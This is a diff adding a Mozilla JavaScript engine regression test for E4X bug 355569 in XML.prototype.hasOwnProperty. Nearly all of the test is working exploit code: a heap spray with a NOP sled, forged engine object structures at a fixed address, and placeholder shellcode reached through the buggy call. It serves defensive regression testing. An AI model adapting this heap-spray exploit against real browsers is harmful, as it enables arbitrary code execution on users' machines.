| Index: mozilla-tests/e4x/Regress/regress-355569.js
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| ===================================================================
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| --- mozilla-tests/e4x/Regress/regress-355569.js	(revision 0)
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| +++ mozilla-tests/e4x/Regress/regress-355569.js	(revision 0)
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| @@ -0,0 +1,163 @@
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| +/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
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| +
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| +/* ***** BEGIN LICENSE BLOCK *****
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| + * Version: MPL 1.1/GPL 2.0/LGPL 2.1
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| + *
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| + * The contents of this file are subject to the Mozilla Public License Version
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| + * 1.1 (the "License"); you may not use this file except in compliance with
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| + * the License. You may obtain a copy of the License at
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| + * http://www.mozilla.org/MPL/
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| + *
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| + * Software distributed under the License is distributed on an "AS IS" basis,
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| + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
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| + * for the specific language governing rights and limitations under the
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| + * License.
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| + *
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| + * The Original Code is JavaScript Engine testing utilities.
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| + *
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| + * The Initial Developer of the Original Code is
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| + * Mozilla Foundation.
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| + * Portions created by the Initial Developer are Copyright (C) 2006
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| + * the Initial Developer. All Rights Reserved.
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| + *
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| + * Contributor(s): shutdown
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| + *
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| + * Alternatively, the contents of this file may be used under the terms of
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| + * either the GNU General Public License Version 2 or later (the "GPL"), or
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| + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
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| + * in which case the provisions of the GPL or the LGPL are applicable instead
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| + * of those above. If you wish to allow use of your version of this file only
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| + * under the terms of either the GPL or the LGPL, and not to allow others to
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| + * use your version of this file under the terms of the MPL, indicate your
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| + * decision by deleting the provisions above and replace them with the notice
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| + * and other provisions required by the GPL or the LGPL. If you do not delete
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| + * the provisions above, a recipient may use your version of this file under
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| + * the terms of any one of the MPL, the GPL or the LGPL.
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| + *
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| + * ***** END LICENSE BLOCK ***** */
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| +gTestfile = 'regress-355569.js';
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| +
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| +var bug = 355569;
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| +var actual = '';
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| +var expect = '';
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| +
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| +START('XML.prototype.hasOwnProperty foo');
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| +printBugNumber (bug);
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| +printStatus (summary);
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| +
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| +var targetAddress = 0x12030010;
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| +var sprayParams = {
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| +  chunkSize: 16 * 1024 * 1024,
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| +  chunkCount: 16,
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| +  chunkMarker: 0xdeadface,
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| +  chunkAlign: 0x1000,
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| +  reservedSize: 1024
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| +};
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| +
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| +function makeExploitCode() {
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| +  /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
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| +  return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
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| +}
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| +
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| +/*==========================================================================*/
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| +/*==========================================================================*/
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| +
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| +function packData(template, A) {
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| +  var n = 0, result = "", vl;
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| +  for(var i = 0; i < template.length; i++) {
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| +    var ch = template.charAt(i);
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| +    if(ch == "s" || ch == "S") {
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| +      vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff);
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| +    } else if(ch == "l" || ch == "L") { // XXX endian
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| +      vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16);
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| +    } else if(ch == "=") {
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| +      result += String(A[n++]);
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| +    }
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| +  }
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| +  return result;
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| +}
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| +function buildStructure(worker, address) {
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| +  var offs = {}, result = "", context = {
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| +    append: function(k, v) { offs[k] = result.length * 2; result += v; },
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| +    address: function(k) { return address + ((k && offs[k]) || 0); }
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| +  }; worker(context); result = ""; worker(context); return result;
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| +}
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| +function repeatToLength(s, L) {
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| +  if(L <= s.length) { return s.substring(0, L); }
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| +  while(s.length <= L/2) { s += s; }
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| +  return s + s.substring(0, L - s.length);
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| +}
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| +function sprayData(data, params, rooter) {
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| +  var marker = packData("L", [ params.chunkMarker ]);
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| +  data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length);
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| +  data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2);
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| +  for(var i = 0; i < params.chunkCount; i++) {
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| +    rooter[i] = marker + data + i;
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| +  }
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| +}
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| +
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| +function T_JSObject(map, slots)
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| +{ return packData("LL", arguments); }
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| +function T_JSObjectMap(nrefs, ops, nslots, freeslot)
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| +{ return packData("LLLL", arguments); }
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| +function T_JSObjectOps(
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| +  newObjectMap, destroyObjectMap, lookupProperty, defineProperty,
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| +  getProperty, setProperty, getAttributes, setAttributes,
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| +  deleteProperty, defaultValue, enumerate, checkAccess,
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| +  thisObject, dropProperty, call, construct,
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| +  xdrObject, hasInstance, setProto, setParent,
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| +  mark, clear, getRequiredSlot, setRequiredSlot
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| +) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); }
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| +
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| +function T_JSXML_LIST(
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| +  object, domnode, parent, name, xml_class, xml_flags,
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| +  kids_length, kids_capacity, kids_vector, kids_cursors,
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| +  xml_target, xml_targetprop
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| +) { return packData("LLLLSS LLLL LL", arguments); }
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| +function T_JSXML_ELEMENT(
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| +  object, domnode, parent, name, xml_class, xml_flags,
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| +  kids_length, kids_capacity, kids_vector, kids_cursors,
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| +  nses_length, nses_capacity, nses_vector, nses_cursors,
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| +  atrs_length, atrs_capacity, atrs_vector, atrs_cursors
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| +) { return packData("LLLLSS LLLL LLLL LLLL", arguments); }
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| +
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| +/*==========================================================================*/
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| +/*==========================================================================*/
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| +
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| +function makeExploitData(address) {
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| +  return buildStructure(function(ctx) {
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| +    ctx.append("xml-list",
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| +      T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0));
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| +    ctx.append("xml-kids-vector",
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| +      packData("L", [ ctx.address("xml-element") ]));
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| +    ctx.append("xml-element",
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| +      T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0));
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| +    ctx.append("object",
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| +      T_JSObject(ctx.address("object-map"), 0));
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| +    ctx.append("object-map",
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| +      T_JSObjectMap(0, ctx.address("object-ops"), 0, 0));
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| +    ctx.append("object-ops",
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| +      T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0));
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| +    ctx.append("exploit-code",
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| +      makeExploitCode(ctx));
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| +  }, address);
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| +}
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| +
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| +function exploit() {
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| +  sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {});
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| +  var numobj = new Number(targetAddress >> 1);
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| +  XML.prototype.function::hasOwnProperty.call(numobj);
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| +  printStatus("probably not exploitable");
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| +}
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| +
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| +try
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| +{
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| +    exploit();
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| +}
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| +catch(ex)
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| +{
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| +}
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| +
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| +TEST(1, expect, actual);
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| +
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| +END();
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| 
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